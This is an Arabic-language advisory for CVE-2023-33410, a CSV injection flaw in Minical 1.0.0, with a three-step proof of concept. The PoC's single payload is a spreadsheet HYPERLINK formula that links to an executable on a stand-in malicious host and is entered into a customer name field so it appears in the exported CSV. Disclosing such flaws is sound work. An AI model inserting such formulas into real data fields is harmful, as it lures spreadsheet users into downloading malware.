CVE-2023-33410

Minical 1.0.0 عرضة لحقن CSV.

المورد: https://github.com/minical/minical

تطبيق تجريبي: https://demo.minical.io/

---

PoC

الخطوة 1: انتقل إلى وحدة المحاسبة وانقر على إنشاء عميل جديد.

الخطوة 2: أدخل الحمولة في حقل الاسم وانقر على إنشاء.

Payload: =HYPERLINK("<https://malicious.com/evilshell.exe>","ClickHere")

الخطوة 3: انقر على تنزيل تقرير CSV ولاحظ الحمولة وهي تُعرض.